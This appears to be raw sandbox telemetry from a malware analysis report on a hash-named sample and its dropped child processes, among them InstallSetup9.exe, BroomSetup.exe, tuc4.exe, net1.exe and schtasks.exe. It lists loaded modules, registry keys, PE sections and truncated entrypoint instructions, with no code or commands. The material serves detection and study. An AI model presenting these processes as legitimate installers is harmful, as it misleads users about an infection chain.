"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "MSISO.DLL" at base 6fe40000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "SSPICLI.DLL" at base 744e0000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 75d10000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74430000 "InstallSetup9.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "InstallSetup9.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "InstallSetup9.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "InstallSetup9.exe" loaded module "KERNEL32" at base 75380000 "InstallSetup9.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f90000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\USERENV.DLL" at base 6fd80000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\SETUPAPI.DLL" at base 754a0000 "InstallSetup9.exe" loaded module "NTDLL.DLL" at base 77ac0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74430000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a30000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 73020000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 744d0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 6fd20000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 750a0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 73390000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74200000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 6fd10000 "InstallSetup9.exe" loaded module "KERNEL32.DLL" at base 75380000 "InstallSetup9.exe" loaded module "%TEMP%\NSME8FF.TMP\INETC.DLL" at base 10000000 "InstallSetup9.exe" loaded module "COMCTL32.DLL" at base 6fdb0000 "InstallSetup9.exe" loaded module "RPCRT4.DLL" at base 75190000 "InstallSetup9.exe" loaded module "SSPICLI.DLL" at base 744e0000 "InstallSetup9.exe" loaded module "USER32.DLL" at base 74500000 "InstallSetup9.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 73150000 "InstallSetup9.exe" loaded module "WINHTTP.DLL" at base 72c10000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73150000 "InstallSetup9.exe" loaded module "WININET" at base 72cc0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 731e0000 "InstallSetup9.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75380000 "InstallSetup9.exe" loaded module "MSISO.DLL" at base 72ba0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 752c0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "KERNEL32" at base 75380000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "MSIMG32.DLL" at base 72770000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "KERNEL32.DLL" at base 75380000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "MSVCR100.DLL" at base 72660000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "WS2_32.DLL" at base 752c0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "ADVAPI32.DLL" at base 746c0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f90000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75d10000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 725c0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 746c0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 724e0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 74e50000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "OLEAUT32.DLL" at base 74e50000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75d10000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75d10000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 72420000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 72430000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "NETAPI32.DLL" at base 73190000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 72520000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 725d0000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 72500000 "tuc4.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "tuc4.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "tuc4.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "tuc4.exe" loaded module "KERNEL32" at base 75380000 "tuc4.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "tuc4.exe" loaded module "SHELL32.DLL" at base 764f0000 "tuc4.exe" loaded module "COMCTL32.DLL" at base 73750000 "tuc4.exe" loaded module "KERNEL32.DLL" at base 75380000 "tuc4.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f90000 "tuc4.exe" loaded module "NTDLL.DLL" at base 77ac0000 "tuc4.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74430000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "BroomSetup.exe" loaded module "KERNEL32" at base 75380000 "BroomSetup.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "BroomSetup.exe" loaded module "KERNEL32.DLL" at base 75380000 "BroomSetup.exe" loaded module "WKSCLI.DLL" at base 732d0000 "BroomSetup.exe" loaded module "RPCRT4.DLL" at base 75190000 "BroomSetup.exe" loaded module "CSCAPI.DLL" at base 732a0000 "BroomSetup.exe" loaded module "MSCTF.DLL" at base 75ba0000 "BroomSetup.exe" loaded module "IMM32.DLL" at base 75ef0000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f90000 "BroomSetup.exe" loaded module "WTSAPI32.DLL" at base 74150000 "BroomSetup.exe" loaded module "NTDLL.DLL" at base 77ac0000 "BroomSetup.exe" loaded module "UXTHEME.DLL" at base 73f90000 "BroomSetup.exe" loaded module "USER32.DLL" at base 74500000 "BroomSetup.exe" loaded module "COMCTL32.DLL" at base 73750000 "BroomSetup.exe" loaded module "COLORUI.DLL" at base 726e0000 "BroomSetup.exe" loaded module "SHELL32.DLL" at base 764f0000 "BroomSetup.exe" loaded module "COMDLG32.DLL" at base 749c0000 "BroomSetup.exe" loaded module "COMPSTUI.DLL" at base 72730000 "BroomSetup.exe" loaded module "INETRES.DLL" at base 4f40000 "BroomSetup.exe" loaded module "MSIMG32.DLL" at base 72770000 "BroomSetup.exe" loaded module "GDIPLUS.DLL" at base 74220000 "BroomSetup.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 74220000 "BroomSetup.exe" loaded module "UXTHEME" at base 73f90000 "BroomSetup.exe" loaded module "USER32" at base 74500000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a30000 "BroomSetup.exe" loaded module "DWMAPI.DLL" at base 73020000 "BroomSetup.exe" loaded module "GDI32.DLL" at base 75470000 "BroomSetup.exe" loaded module "SHCORE.DLL" at base 75a30000 "BroomSetup.exe" loaded module "COMCTL32" at base 73750000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 75ba0000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75930000 "tuc4.tmp" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "tuc4.tmp" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "tuc4.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "tuc4.tmp" loaded module "KERNEL32" at base 75380000 "tuc4.tmp" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "tuc4.tmp" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f90000 "tuc4.tmp" loaded module "KERNEL32.DLL" at base 75380000 "tuc4.tmp" loaded module "OLEAUT32.DLL" at base 74e50000 "tuc4.tmp" loaded module "RPCRT4.DLL" at base 75190000 "tuc4.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 74500000 "tuc4.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 74500000 "tuc4.tmp" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 74ac0000 "tuc4.tmp" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 75ba0000 "tuc4.tmp" loaded module "UXTHEME.DLL" at base 73f90000 "tuc4.tmp" loaded module "SHELL32.DLL" at base 764f0000 "tuc4.tmp" loaded module "SHFOLDER.DLL" at base 6fd10000 "tuc4.tmp" loaded module "%TEMP%\IS-3UN1S.TMP\_ISETUP\_ISDECMP.DLL" at base 4390000 "tuc4.tmp" loaded module "%TEMP%\IS-3UN1S.TMP\_ISETUP\_ISCRYPT.DLL" at base 10000000 "tuc4.tmp" loaded module "USER32.DLL" at base 74500000 "tuc4.tmp" loaded module "MPR.DLL" at base 743e0000 "tuc4.tmp" loaded module "COMCTL32" at base 73750000 "tuc4.tmp" loaded module "COMCTL32.DLL" at base 73750000 "tuc4.tmp" loaded module "%WINDIR%\SYSTEM32\SHLWAPI.DLL" at base 74ef0000 "tuc4.tmp" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 764f0000 "tuc4.tmp" loaded module "%PROGRAMFILES%\(X86)\COMMON FILES\MICROSOFT SHARED\INK\TIPTSF.DLL" at base 725c0000 "tuc4.tmp" loaded module "NTDLL.DLL" at base 77ac0000 "tuc4.tmp" loaded module "SSPICLI.DLL" at base 744e0000 "tuc4.tmp" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75930000 "tuc4.tmp" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 72120000 "tuc4.tmp" loaded module "%WINDIR%\SYSTEM32\SFC.DLL" at base 4410000 "tuc4.tmp" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74430000 "aviformattertool.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "aviformattertool.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "aviformattertool.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "aviformattertool.exe" loaded module "KERNEL32" at base 75380000 "aviformattertool.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "aviformattertool.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75380000 "aviformattertool.exe" loaded module "APPXSIP.DLL" at base 726e0000 "aviformattertool.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 75380000 "net1.exe" loaded module "KERNEL32" at base 75380000 "net1.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75d10000 "net1.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75d10000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75d10000 "net1.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75ef0000 "net1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "net1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "net1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "net1.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "cmd.exe" loaded module "KERNEL32" at base 75380000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75d10000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75d10000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75d10000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75ef0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d10000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d10000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d10000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 730a0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 75380000 "cmd.exe" loaded module "NTDLL.DLL" at base 77ac00004b:T624,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732B0000 "InstallSetup9.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "288c47bbc1871b439df19ff4df68f076.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732B0000 "tuc4.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "BroomSetup.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "BroomSetup.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732B0000 "tuc4.tmp" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "tuc4.tmp" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732B0000 "net.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "net.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732B0000 "aviformattertool.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "aviformattertool.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732B0000 "net1.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "net1.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732B0000 "cmd.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75130000 "schtasks.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 751300004c:Td69,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb" was detected as ".NET" and name: "Library" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb" was detected as "Microsoft Linker" and name: "Linker" "BroomSetup.exe" was detected as ".NET" and name: "Library" "BroomSetup.exe" was detected as "Microsoft Linker" and name: "Linker" "tuc4.exe" was detected as ".NET" and name: "Library" "tuc4.exe" was detected as "Microsoft Linker" and name: "Linker" "288c47bbc1871b439df19ff4df68f076.exe" was detected as ".NET" and name: "Library" "288c47bbc1871b439df19ff4df68f076.exe" was detected as "Microsoft Linker" and name: "Linker" "InstallSetup9.exe" was detected as ".NET" and name: "Library" "InstallSetup9.exe" was detected as "Microsoft Linker" and name: "Linker" "aviformattertool.exe" was detected as ".NET" and name: "Library" "aviformattertool.exe" was detected as "Microsoft Linker" and name: "Linker" "INetC.dll" was detected as ".NET" and name: "Library" "INetC.dll" was detected as "Microsoft Linker" and name: "Linker" "_isdecmp.dll" was detected as ".NET" and name: "Library" "_isdecmp.dll" was detected as "Microsoft Linker" and name: "Linker" "_iscrypt.dll" was detected as ".NET" and name: "Library" "_iscrypt.dll" was detected as "Microsoft Linker" and name: "Linker" "is-ND51B.tmp" was detected as ".NET" and name: "Library" "is-ND51B.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-O940H.tmp" was detected as ".NET" and name: "Library" "is-O940H.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-8EM8Q.tmp" was detected as ".NET" and name: "Library" "is-8EM8Q.tmp" was detected as "Microsoft Linker" and name: "Linker" "tuc4.tmp" was detected as ".NET" and name: "Library" "tuc4.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-KGHLP.tmp" was detected as ".NET" and name: "Library" "is-KGHLP.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-T2M3R.tmp" was detected as ".NET" and name: "Library" "is-T2M3R.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-F1GN9.tmp" was detected as ".NET" and name: "Library" "is-F1GN9.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-9F3KE.tmp" was detected as ".NET" and name: "Library" "is-9F3KE.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-PU7KQ.tmp" was detected as ".NET" and name: "Library" "is-PU7KQ.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-Q1SH7.tmp" was detected as ".NET" and name: "Library" "is-Q1SH7.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-VNOL6.tmp" was detected as ".NET" and name: "Library" "is-VNOL6.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-5BQCL.tmp" was detected as ".NET" and name: "Library" "is-5BQCL.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-HITNB.tmp" was detected as ".NET" and name: "Library" "is-HITNB.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-L2OG8.tmp" was detected as ".NET" and name: "Library" "is-L2OG8.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-4M261.tmp" was detected as ".NET" and name: "Library" "is-4M261.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-Q1RQM.tmp" was detected as ".NET" and name: "Library" "is-Q1RQM.tmp" was detected as "Microsoft Linker" and name: "Linker"4d:T13ab,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "WBEM Scripting Locator" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\INPROCSERVER32") "288c47bbc1871b439df19ff4df68f076.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "PSTypeInfo" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00020422-0000-0000-C000-000000000046}\INPROCSERVER32") "288c47bbc1871b439df19ff4df68f076.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "288c47bbc1871b439df19ff4df68f076.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\INPROCSERVER32") "288c47bbc1871b439df19ff4df68f076.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "288c47bbc1871b439df19ff4df68f076.exe" touched "PSEnumVariant" (Path: "HKCU\WOW6432NODE\CLSID\{00020421-0000-0000-C000-000000000046}\INPROCHANDLER32") "288c47bbc1871b439df19ff4df68f076.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "tuc4.tmp" touched "Microsoft Multiple AutoComplete List Container" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}") "tuc4.tmp" touched "Microsoft Shell Folder AutoComplete List" (Path: "HKCU\WOW6432NODE\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\TREATAS") "tuc4.tmp" touched "Microsoft AutoComplete" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\TREATAS") "tuc4.tmp" touched "Microsoft TipAutoCompleteClient Control" (Path: "HKCU\WOW6432NODE\CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\TREATAS") "tuc4.tmp" touched "Task Bar Communication" (Path: "HKCU\WOW6432NODE\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS")4e:T5d3,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb" has an executable section named ".text" "BroomSetup.exe" has an executable section named ".text" "BroomSetup.exe" has an executable section named ".itext" "tuc4.exe" has an executable section named "CODE" "288c47bbc1871b439df19ff4df68f076.exe" has an executable section named ".text" "InstallSetup9.exe" has an executable section named ".text" "aviformattertool.exe" has an executable section named ".text" "aviformattertool.exe" has an executable section named "_vset_8" "INetC.dll" has an executable section named ".text" "_isdecmp.dll" has an executable section named ".text" "_iscrypt.dll" has an executable section named ".text" "is-ND51B.tmp" has an executable section named ".text" "is-O940H.tmp" has an executable section named ".text" "is-O940H.tmp" has an executable section named ".itext" "is-8EM8Q.tmp" has an executable section named "CODE" "tuc4.tmp" has an executable section named "CODE" "is-KGHLP.tmp" has an executable section named ".text" "is-T2M3R.tmp" has an executable section named ".text" "is-F1GN9.tmp" has an executable section named ".text" "is-9F3KE.tmp" has an executable section named ".text" "is-PU7KQ.tmp" has an executable section named ".text" "is-PU7KQ.tmp" has an executable section named "asmcode" "is-Q1SH7.tmp" has an executable section named ".text" "is-VNOL6.tmp" has an executable section named ".text" "is-5BQCL.tmp" has an executable section named ".text"4f:T584,"BroomSetup.exe" has an writable section named ".data" "BroomSetup.exe" has an writable section named ".bss" "BroomSetup.exe" has an writable section named ".idata" "BroomSetup.exe" has an writable section named ".didata" "BroomSetup.exe" has an writable section named ".tls" "tuc4.exe" has an writable section named "DATA" "tuc4.exe" has an writable section named "BSS" "tuc4.exe" has an writable section named ".idata" "tuc4.exe" has an writable section named ".tls" "288c47bbc1871b439df19ff4df68f076.exe" has an writable section named ".data" "288c47bbc1871b439df19ff4df68f076.exe" has an writable section named ".tls" "InstallSetup9.exe" has an writable section named ".data" "InstallSetup9.exe" has an writable section named ".ndata" "aviformattertool.exe" has an writable section named ".data" "aviformattertool.exe" has an writable section named "_vset_8" "INetC.dll" has an writable section named ".data" "is-ND51B.tmp" has an writable section named ".data" "is-O940H.tmp" has an writable section named ".data" "is-O940H.tmp" has an writable section named ".bss" "is-O940H.tmp" has an writable section named ".idata" "is-O940H.tmp" has an writable section named ".didata" "is-O940H.tmp" has an writable section named ".tls" "is-8EM8Q.tmp" has an writable section named "DATA" "is-8EM8Q.tmp" has an writable section named "BSS" "is-8EM8Q.tmp" has an writable section named ".idata"50:T3dd6,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr 